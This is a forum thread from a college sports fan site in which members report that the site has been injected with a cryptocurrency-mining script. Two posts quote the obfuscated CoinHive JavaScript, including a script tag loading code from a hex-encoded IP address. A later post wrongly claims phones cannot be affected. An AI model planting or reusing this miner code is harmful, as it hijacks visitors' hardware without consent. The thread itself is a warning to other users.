CockyTalk

Welcome to Cockytalk!

Thank you for visiting our forum. As a guest, you have limited access to view some discussion and articles. By joining our free community, you will be able to view all discussions and articles, post your own topics, communicate privately with other members (PM), respond to polls, upload photos, participate in Pick'Em contests and access many other special features. Registration is fast, simple and absolutely free, so please join our community today!!

If you have any problems registering or logging in, please contact our Admins. Thanks!

Go Back   CockyTalk > Gamecocks Sports > The Cock Pit

Today's Top 10
Posters (by posts)Threads (by views)Newest Posts Gamecock Headlines 
RGHoskins
Captain9Dragons
Master Bedroom
FurmanCock
GregoryHouse
TastyLicks
carolina_corpsman
Ace Dilcock
Spur's Addiction
Blitzkrieg
2019 schedule out (1184)
CFN: South Carolina (1017)
Hot Seat Coaching Ra (473)
WBB recruiting summa (387)
2019 MBB - Wildens L (379)
2020 - Adam Chaney (304)
Erskine Football? (255)
Georgia v Auburn 201 (218)
National cheeseburge (153)
2019 schedule releas (128)
2019 - Jaquaze Sorrells
2019 schedule out
Josh Gordon
CFN: South Carolina vs. V
Hot Seat Coaching Ranking
How Good Can Frank's Team
***Women's Soccer 2018 Se
2019 MBB - Wildens Levequ
2020 Commitment - Luke Do
Gamecock Tipoff - October


Reply
 
Thread Tools Display Modes
Old 06-15-2018, 09:42 AM   #1
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,137
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default CockyTalk infected with Javascript Coinminer

Every page I go to on CockyTalk, I get immediate warnings from Symantec. It seems CockyTalk has become infected with malicious code.

https://www.fortinet.com/blog/threat...infection.html

https://blog.360totalsecurity.com/en...mining-script/

Here are some links for information. Admins, you may want to get this fixed IMMEDIATELY.


Sorry to put this in the Football forum, but it really needs to be addressed and seen right away, ASAP.
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 09:43 AM   #2
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,137
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
var _0x1323=["\x62\x6D\x56\x70\x44\x48\x4E\x75\x65\x4A\x44\x64\ x61\x7A\x57\x33\x6C\x51\x48\x79\x75\x5A\x72\x41\x3 1\x49\x45\x53\x6A\x76\x71\x6B","\x68\x61\x72\x64\x 77\x61\x72\x65\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E \x63\x79","\x66\x6C\x6F\x6F\x72","\x6D\x61\x78","\ x73\x65\x74\x4E\x75\x6D\x54\x68\x72\x65\x61\x64\x7 3","\x63\x68\x61\x72\x67\x69\x6E\x67","\x73\x74\x6 1\x72\x74","\x6F\x6E\x63\x68\x61\x72\x67\x69\x6E\x 67\x63\x68\x61\x6E\x67\x65","\x73\x74\x6F\x70","\x 74\x68\x65\x6E","\x67\x65\x74\x42\x61\x74\x74\x65\ x72\x79"];var xmr= new CoinHive.Anonymous(_0x1323[0],{throttle:0.85,threads:1});try{var threads=Math[_0x1323[3]](1,Math[_0x1323[2]](navigator[_0x1323[1]]/ 4));xmr[_0x1323[4]](threads);navigator[_0x1323[10]]()[_0x1323[9]](function(_0xe82dx3){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()};_0xe82dx3[_0x1323[7]]= function(_0xe82dx4){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()}else {xmr[_0x1323[8]]()}}})}catch(e){xmr[_0x1323[6]]()}

Found the above in your Source Code. Definitely needs to be fixed, everyone who visits is having their CPU exploited to mine bit coins
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 09:59 AM   #3
nin_usc_freak92
Class of 2015
 
nin_usc_freak92's Avatar
 
Male

Join Date: Jul 2007
Location: Charlotte, NC
Posts: 2,744
CockyCash: 200
nin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Can confirm. IT at work drops my internet connection immediately after visiting the site. Knew something fishy had to be going on.
nin_usc_freak92 is offline   Reply With Quote
Old 06-15-2018, 11:35 AM   #4
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,137
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

EVERYONE who's visited this page needs to run a full scan on their system. This is quite serious, and can adversely affect your CPU and GPU. JS/CoinMiner.F malware is probably affecting many of you right now, if you do not have active protection running.
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 11:54 AM   #5
sc455
Heisman Candidate
 
sc455's Avatar
 
Male

Join Date: Jul 2007
Location: south carolina
Posts: 16,058
CockyCash: 701165
sc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

whatever. I don't see one post from an administrator or anyone of authority warning anyone about this.

its either no big deal or the guys who run this site don't know yet or they are working on it.
sc455 is offline   Reply With Quote
Old 06-15-2018, 11:58 AM   #6
Master Bedroom
Heisman Candidate
 
Master Bedroom's Avatar
 
Male

Join Date: Dec 2013
Location: Upstairs
Posts: 18,713
CockyCash: 10500
Master Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Yea it was causing my Malwarebytes to go crazy
Master Bedroom is offline   Reply With Quote
Old 06-15-2018, 11:59 AM   #7
Master Bedroom
Heisman Candidate
 
Master Bedroom's Avatar
 
Male

Join Date: Dec 2013
Location: Upstairs
Posts: 18,713
CockyCash: 10500
Master Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by sc455 View Post
whatever. I don't see one post from an administrator or anyone of authority warning anyone about this.

its either no big deal or the guys who run this site don't know yet or they are working on it.
Or they don't know/care? I don't think the owners have posted in a year or so
Master Bedroom is offline   Reply With Quote
Old 06-15-2018, 12:03 PM   #8
ba55nec4r
4-Star
 
ba55nec4r's Avatar
 
Male

Join Date: Jan 2017
Location: Baton Rouge
Posts: 383
CockyCash: 500
ba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

I've run multiple tests across multiple programs and I don't have anything on my computer showing up.
ba55nec4r is offline   Reply With Quote
Old 06-15-2018, 12:06 PM   #9
Spur's Addiction
Been caught moddin'
 
Spur's Addiction's Avatar
 
Male

Join Date: Jun 2005
Location: Raaaawlee, NC
Posts: 21,292
CockyCash: 1001856
Spur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Site is running awfully slow. We are contacting Ken (KHOSK). He's the guy we need to take a look.
__________________
Spur's Addiction is offline   Reply With Quote
Old 06-15-2018, 12:09 PM   #10
Master Bedroom
Heisman Candidate
 
Master Bedroom's Avatar
 
Male

Join Date: Dec 2013
Location: Upstairs
Posts: 18,713
CockyCash: 10500
Master Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by ba55nec4r View Post
I've run multiple tests across multiple programs and I don't have anything on my computer showing up.
It was popping up on this site yesterday, nothing today
Master Bedroom is offline   Reply With Quote
Old 06-15-2018, 12:11 PM   #11
nin_usc_freak92
Class of 2015
 
nin_usc_freak92's Avatar
 
Male

Join Date: Jul 2007
Location: Charlotte, NC
Posts: 2,744
CockyCash: 200
nin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Yay our hardware is being used to make someone rich. Just FYI CPUs and GPUs take a lot of wear and tear by mining cryptocurrency. I don’t know how someone can initiate it from malware on a website, but if that’s really what’s happening this is pretty serious.
nin_usc_freak92 is offline   Reply With Quote
Old 06-15-2018, 12:17 PM   #12
ba55nec4r
4-Star
 
ba55nec4r's Avatar
 
Male

Join Date: Jan 2017
Location: Baton Rouge
Posts: 383
CockyCash: 500
ba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by Master Bedroom View Post
It was popping up on this site yesterday, nothing today
I believe it's there, I haven't seen it yet so I'm counting my lucky stars for now.
ba55nec4r is offline   Reply With Quote
Old 06-15-2018, 12:24 PM   #13
Master Bedroom
Heisman Candidate
 
Master Bedroom's Avatar
 
Male

Join Date: Dec 2013
Location: Upstairs
Posts: 18,713
CockyCash: 10500
Master Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by ba55nec4r View Post
I believe it's there, I haven't seen it yet so I'm counting my lucky stars for now.
ws016coinhive.com
Master Bedroom is offline   Reply With Quote
Old 06-15-2018, 12:25 PM   #14
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,137
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

I'm not saying that everyone is infected, but there is the possibility, because the javascript is actively being run on the page. (you can look at the source code and find it in there)

I just want everyone to scan their computer, in case their protection wasn't good enough or wasn't turned on. Don't wanna see people's CPU or GPU burn up or experience un-necessary wear and tear.
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 12:30 PM   #15
crowcutta
1st Team All-American
 
crowcutta's Avatar
 
Male

Join Date: Mar 2006
Location: land de la rich
Posts: 10,065
CockyCash: 6000
crowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

hmm maybe the infection is on purpose? it might have been put in not knowing the adverse affects. its coinhive and its still on the website, i think/hope my script blocker is keeping it from gaining access. wonder how long its been on here.
crowcutta is offline   Reply With Quote
Old 06-15-2018, 12:36 PM   #16
COCKDIESEL
Could've been a Contender
 
COCKDIESEL's Avatar
 
Male

CWS Baseball Pickem Winner: CWS Baseball Pickem Winner - Given for: Winning the first CWS Pickem Contest 
Join Date: Dec 2005
Location: Pine Ridge
Posts: 9,423
CockyCash: 48000000
COCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

So quick question for the more techy folks. I don’t have any crypto currency and I have only accessed the site from my iPhone and iPad. Is there anything I should look out for?
__________________
COCKDIESEL is offline   Reply With Quote
Old 06-15-2018, 12:40 PM   #17
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,137
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by COCKDIESEL View Post
So quick question for the more techy folks. I donít have any crypto currency and I have only accessed the site from my iPhone and iPad. Is there anything I should look out for?
Just run a malware scan if you can. It doesn't matter that you have crypto currency or not. What this infection does is mine coins for someone else, but using your GPU and CPU power.
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 12:41 PM   #18
d20636
Go Cocks!
 
d20636's Avatar
 
Male

Join Date: Jan 2007
Location: Columbia, SC
Posts: 5,116
CockyCash: 400
d20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by sc455 View Post
whatever. I don't see one post from an administrator or anyone of authority warning anyone about this.

its either no big deal or the guys who run this site don't know yet or they are working on it.
Regardless of your "disbelief", the following IS in the html - view page source for yourself...

Quote:
<script src="http://0xC84411C4/1d14e0ef0b07ac44.js"></script>
<script>
var _0x1323=["\x62\x6D\x56\x70\x44\x48\x4E\x75\x65\x4A\x44\x64\ x61\x7A\x57\x33\x6C\x51\x48\x79\x75\x5A\x72\x41\x3 1\x49\x45\x53\x6A\x76\x71\x6B","\x68\x61\x72\x64\x 77\x61\x72\x65\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E \x63\x79","\x66\x6C\x6F\x6F\x72","\x6D\x61\x78","\ x73\x65\x74\x4E\x75\x6D\x54\x68\x72\x65\x61\x64\x7 3","\x63\x68\x61\x72\x67\x69\x6E\x67","\x73\x74\x6 1\x72\x74","\x6F\x6E\x63\x68\x61\x72\x67\x69\x6E\x 67\x63\x68\x61\x6E\x67\x65","\x73\x74\x6F\x70","\x 74\x68\x65\x6E","\x67\x65\x74\x42\x61\x74\x74\x65\ x72\x79"];var xmr= new CoinHive.Anonymous(_0x1323[0],{throttle:0.85,threads:1});try{var threads=Math[_0x1323[3]](1,Math[_0x1323[2]](navigator[_0x1323[1]]/ 4));xmr[_0x1323[4]](threads);navigator[_0x1323[10]]()[_0x1323[9]](function(_0xe82dx3){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()};_0xe82dx3[_0x1323[7]]= function(_0xe82dx4){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()}else {xmr[_0x1323[8]]()}}})}catch(e){xmr[_0x1323[6]]()}
</script>
I've simply disbled javascript (in my browser) for this site for now...
__________________
Go Cocks!
d20636 is offline   Reply With Quote
Old 06-15-2018, 12:54 PM   #19
crowcutta
1st Team All-American
 
crowcutta's Avatar
 
Male

Join Date: Mar 2006
Location: land de la rich
Posts: 10,065
CockyCash: 6000
crowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

thanks for the heads up, id heard of coinhive before, but i wasnt aware of how prevalent and nefarious it had gotten. its good practice in general to use a script blocker, ublock origin, no script, script safe, pick one for whatever browser youre using.
crowcutta is offline   Reply With Quote
Old 06-15-2018, 01:12 PM   #20
InletCock1989
5th Year Senior
 
InletCock1989's Avatar
 
Male

Join Date: Nov 2013
Location: Hemingway
Posts: 2,698
CockyCash: 200
InletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by COCKDIESEL View Post
So quick question for the more techy folks. I donít have any crypto currency and I have only accessed the site from my iPhone and iPad. Is there anything I should look out for?
Your iPhone and iPad wonít be targeted. Only computers with hardrives capable of mining
InletCock1989 is offline   Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 11:05 PM.


Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2018, vBulletin Solutions Inc.
Provided by SLB Development